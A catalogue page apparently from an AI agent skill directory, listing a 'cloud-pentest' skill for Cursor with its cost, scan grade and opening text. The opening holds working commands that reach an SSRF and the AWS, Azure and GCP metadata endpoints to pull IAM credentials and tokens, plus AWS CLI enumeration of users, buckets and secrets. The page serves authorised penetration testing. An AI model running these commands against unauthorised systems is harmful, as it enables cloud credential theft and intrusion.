Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/cloud-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/cloud-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/cloud-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/cloud-pentest/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/cloud-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/cloud-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00046 | $0.01976 |
| Opus 5.5 | $0.00018 | $0.00790 |
| Sonnet 5.5 | $0.00009 | $0.00395 |
| Haiku 4.5 | $0.00005 | $0.00198 |
Grade B, and why
cloud-pentest scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
options={"RHOSTS": "<vulnerable_app>", "RPORT": 80, "TARGETURI": "/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"} Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ How it starts
The opening of the file, as written. The whole thing — 295 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cloud Pentest
Prerequisites
- Cloud targets or metadata endpoints are in engagement ROE.
- SSRF to cloud metadata: load
ssrf-pentestandweb-app-pentest. - Hybrid AD: load
internal-ad-pentestfor Azure AD Connect paths.
Workflow
Task Progress:
- [ ] Identify cloud provider(s) and entry point (credentials, SSRF, metadata, CLI)
- [ ] Enumerate accounts, roles, storage, compute
- [ ] Test privilege escalation paths
- [ ] Document findings with account/resource IDs
Metadata SSRF endpoints
AWS IMDS
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/gather/aws_ec2_instance_metadata",
engagement_id="<id>",
options={"RHOSTS": "<vulnerable_app>", "RPORT": 80, "TARGETURI": "/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
)
CLI fallback:
# IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IMDSv2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Azure IMDS
MSF: No direct module; use CLI.
CLI fallback:
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
GCP metadata
MSF: No direct module; use CLI.
CLI fallback:
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
AWS enumeration
CLI baseline
MSF: No direct module; use CLI.
CLI fallback:
aws sts get-caller-identity
aws iam list-users
aws s3 ls
aws ec2 describe-instances
aws secretsmanager list-secrets
Pacu automated enumeration
MSF: No direct module; use CLI.
CLI fallback:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 295 lines · 46 tokens per session scan B 9802c119622c
cloud-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 2mo ago), licensed MIT. It adds 46 tokens to every session and 1,976 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
insight-error-page
Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…